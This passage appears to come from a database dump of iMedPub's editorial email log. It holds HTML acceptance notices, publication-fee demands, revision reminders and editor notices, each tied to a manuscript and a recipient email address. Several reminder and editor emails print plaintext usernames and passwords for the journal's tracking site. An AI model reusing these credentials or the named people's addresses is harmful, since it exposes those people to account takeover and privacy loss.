#009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bryan.aherne@hotmail.com',7125,'2021-01-28',48),(2542,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7182</b><br />\r\n            <br />\r\n            Article Title: <b>MSN</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chen</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">We have sent Galley Proof and Invoice, Kindly check and pay publication fee as Euro 2719 only. After the completion of payment please send us payment receipt. Awaiting prompt response</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','chenll@yandex.com',7182,'2021-01-28',48),(2544,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7098</b><br />\r\n            <br />\r\n            Article Title: <b>Reality of life and environmental changes after COVID-19 pandemic in India</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ramachandran</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kalpana.s@tnmgrmu.ac.in',7098,'2021-01-28',48),(2564,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6784</b><br />\r\n            <br />\r\n            Article Title: <b>Antibody response in COVID-19 among Healthcare Workers</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-6784</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 24 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','lukasz.szarpak@gmail.com',6784,'2021-02-01',85),(2566,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-02-02',85),(2567,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-7030</b><br />\r\n            <br />\r\n            Article Title: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ilhan</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-21-7030</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>gul</b><br />\r\n            Password : <b>0Aq374SL</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','drgulilhan@hotmail.com',7030,'2021-02-02',85),(2576,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-02-04',85),(2584,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7273</b><br />\r\n            <br />\r\n            Article Title: <b>THE LITTLE GUIDE OF SERVICES MARKETING To succeed his approach to Hospital Marketing</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>LEMSAGUED</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','f.lemsagued@uiz.ac.ma',7273,'2021-02-05',48),(2585,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6375</b><br />\r\n            <br />\r\n            Article Title: <b>Challenges in diagnosis of ischaemic stroke: A descriptive study of stroke mimics and missed strokes</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ehsan Esmaili Shandiz</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6375</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',6375,'2021-02-05',75),(2592,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-02-06',85),(2593,'<p>Ref.:  Ms. No. : <b>ipaom-21-7030</b><br />\r\n<br />\r\nARTICLE TITLE: <b>DO HEMATOLOG&Auml;&deg;C CANCERS &Auml;&deg;NCREASE THE FREQUENCY OF DEMODEX SPP?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Ilhan</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7030</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>gul</b><br />\r\npassword: <b>0Aq374SL</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','drgulilhan@hotmail.com',7030,'2021-02-06',85),(2596,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6375</b><br />\r\n            <br />\r\n            Article Title: <b>Challenges in diagnosis of ischaemic stroke: A descriptive study of stroke mimics and missed strokes</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Esmaili Shandiz</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','esmailies79@gmail.com',6375,'2021-02-08',75),(2597,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6909</b><br />\r\n            <br />\r\n            Article Title: <b>GLIA-Deep: Glioblastoma Image Analysis using Deep Learning Convolutional Neural Networks to Accurately Classify Gene Methylation and Predict Drug Effectiveness</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Viraj Mehta</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6909</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',6909,'2021-02-08',75),(2598,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7273</b><br />\r\n            <br />\r\n            Article Title: <b>THE LITTLE GUIDE OF SERVICES MARKETING To succeed his approach to Hospital Marketing</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>LEMSAGUED</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-08</b></p>\r\n            <p>Your article is under electronic format and will send galley proof of your article soon.</p>\r\n            <p>Kindly go through the given link:&nbsp;<a href=\"https://eur01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.imedpub.com%2Fonlinepayment%2F&amp;data=01%7C01%7Caamilibari%40uqu.edu.sa%7Ca8562fd17241426fa51608d7de012e81%7C79a057fbb0d544dd8f900bf7151f5c3f%7C0&amp;sdata=GYG8LKVmd6ilD%2BuaYmAcSmvUPa5PDxThTY05OtwgrrM%3D&amp;reserved=0\" rel=\"noreferrer\" shape=\"rect\" target=\"_blank\" style=\"box-sizing: border-box; border-color: rgb(238, 238, 238); color: rgb(0, 118, 198); text-decoration-line: none; font-family: Verdana, Geneva, sans-serif; font-size: 13.3333px;\">https://www.imedpub.com/onlinepayment/</a></p>\r\n            <p><span style=\"color: rgb(44, 54, 58); font-family: Verdana, Geneva, sans-serif; font-size: 13.3333px;\">and pay the publication charges&nbsp;</span><span style=\"box-sizing: border-box; border-color: rgb(238, 238, 238); font-weight: bolder; color: rgb(44, 54, 58); font-family: Verdana, Geneva, sans-serif; font-size: 13.3333px;\">Euro 1019 only&nbsp;</span><span style=\"color: rgb(44, 54, 58); font-family: Verdana, Geneva, sans-serif; font-size: 13.3333px;\">and after the completion of payment please submit the payment receipt. During the payment please mention the Journal name,&nbsp;Article&nbsp;title and Invoice No.&nbsp;</span><span style=\"box-sizing: border-box; border-color: rgb(238, 238, 238); font-weight: bolder; color: rgb(44, 54, 58); font-family: Verdana, Geneva, sans-serif; font-size: 13.3333px;\">(1791-809X-15-804)</span></p>\r\n            <p>Should you need any further information, please do not hesitate to contact us.&nbsp;</p>\r\n            <p>&nbsp;</p>\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Notification: Accept','f.lemsagued@uiz.ac.ma',7273,'2021-02-08',48),(2599,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7034</b><br />\r\n            <br />\r\n            Article Title: <b>Horner&rsquo;s Syndrome due to a Spontaneous Internal Carotid Artery Dissection treated with Casper Stent</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dante Valer  Gonzales</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7034</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',7034,'2021-02-08',75),(2601,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6976</b><br />\r\n            <br />\r\n            Article Title: <b>IMPLICACIONES DE LA RESPUESTA INMUNOLOGICA ANTE LA NUEVA VARIANTE VUI 202012/01 DEL SARS-COV-2</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>farak gomez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-09</b><br />\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jfarakg10@curnvirtual.edu.co',6976,'2021-02-09',274),(2611,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7300</b><br />\r\n            <br />\r\n            Article Title: <b>EFFECTS OF DISINFECTION ON ORTHODONTIC PLASTER MODELS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>BELEVA</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','serdal.gunduz@kstu.edu.tr',7300,'2021-02-11',48),(2612,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7273</b><br />\r\n            <br />\r\n            Article Title: <b>THE LITTLE GUIDE OF SERVICES MARKETING To succeed his approach to Hospital Marketing</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>LEMSAGUED</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Kindly process pending publication fee as Euro 1019 only</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','f.lemsagued@uiz.ac.ma',7273,'2021-02-11',48),(2613,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7305</b><br />\r\n            <br />\r\n            Article Title: <b>Circulating Microparticles: a risk factor for recurrent abortion at The University Teaching Hospital, Lusaka, Zambia.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chibuye</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-02-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mwenyachibuye@yahoo.com',7305,'2021-02-11',48),(2614,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7300</b><br />\r\n            <br />\r\n            Article Title: <b>EFFECTS OF DISINFECTION ON ORTHODONTIC PLASTER MODELS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>BELEVA</b><br />\r\n            <br 